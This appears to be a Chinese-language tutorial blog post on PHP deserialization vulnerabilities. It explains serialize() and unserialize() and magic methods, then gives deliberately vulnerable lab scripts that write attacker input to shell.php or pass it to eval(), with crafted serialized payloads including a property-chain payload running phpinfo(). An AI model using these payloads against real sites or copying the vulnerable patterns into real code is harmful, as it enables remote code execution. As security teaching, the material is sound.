先介绍下几个函数
serialize()是用于将类转换为一个字符串
unserialize()用于将字符串转换回一个类
serialize()
<?php
class test{
var $a = 'yicunyiye';
}
$p = new test();
$ser = serialize($p);
echo $ser;
?>
输出为
O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}
这里O是说明为对象为4个字符,1是表示只有一个值{}里面的s表示为字符串为1就是变量a的长度,然后就是9表示值的长度
unserialize()
<?php
class test{
var $a = 'yicunyiye';
}
$p = new test();
// $ser = serialize($p);
$a = 'O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}';
$unser = unserialize($a);
print_r($unser);
?>
输出为
test Object ( [a] => yicunyiye )
这里的test为对象[a] => yicunyiye 为 $a = "yicunyiye"
当我们传入给unserialize()参数可控的时候就可以利用
Magic function
php中有一类特殊的方法叫做“Magic function”
构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的
析构函数__destruct():当对象被销毁时会自动调用。
__wakeup():如前所提,unserialize()时会自动调用
<?php
header("Content-type: text/html;charset=utf-8");
class test{
var $test='123';
function __wakeup(){
echo "__wakeup"."<br>";
}
function __construct(){
echo "__construct"."<br>";
}
function __destruct(){
echo "__destruct"."<br>";
}
}
echo "serialize:====="."<br>";
$data=new test;
$data=serialize($data);
echo "unserialize:====="."<br>";
$jm=unserialize($data);
print_r($jm);
?>
输出结果为
serialize:=====
__construct
__destruct
unserialize:=====
__wakeup
test Object ( [test] => 123 ) __destruct
wakeup() 或destruct()由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们
因此我们写一个
<?php
class aaaa{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>
url为:http://127.0.0.1/m/index.php?test=O:4:"aaaa":1:{s:4:"test";s:19:"";}
这里可以看到只要传入给test就行了
其他Magic function的利用,如果用construct()其实是一样的只需要一步步溯源回去即可
<?php
class con{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class wake{
var $test = '123';
function __wakeup(){
$obj = new con($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
payload:O:4:"wake":1:{s:4:"test";s:18:"";}
利用普通成员方法
前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。
比如这里
<?php
class chybeta {
var $test;
function __construct() {
$this->test= new ph0en1x(); //实例化ph0en1x
}
function __destruct() {
$this->test->action(); //调用ph0en1x类里的action()函数
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>
我们的payload修改为
<?php
class chybeta{
var $test;
function __construct(){
$this->test = new ph0en2x();
}
}
class ph0en2x{
var $test2 = "phpinfo();";
}
$class6 = new chybeta();
$payload = serialize($class6);
echo $payload;
?>
执行payload为:
O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}
手机扫一扫
移动阅读更方便
你可能感兴趣的文章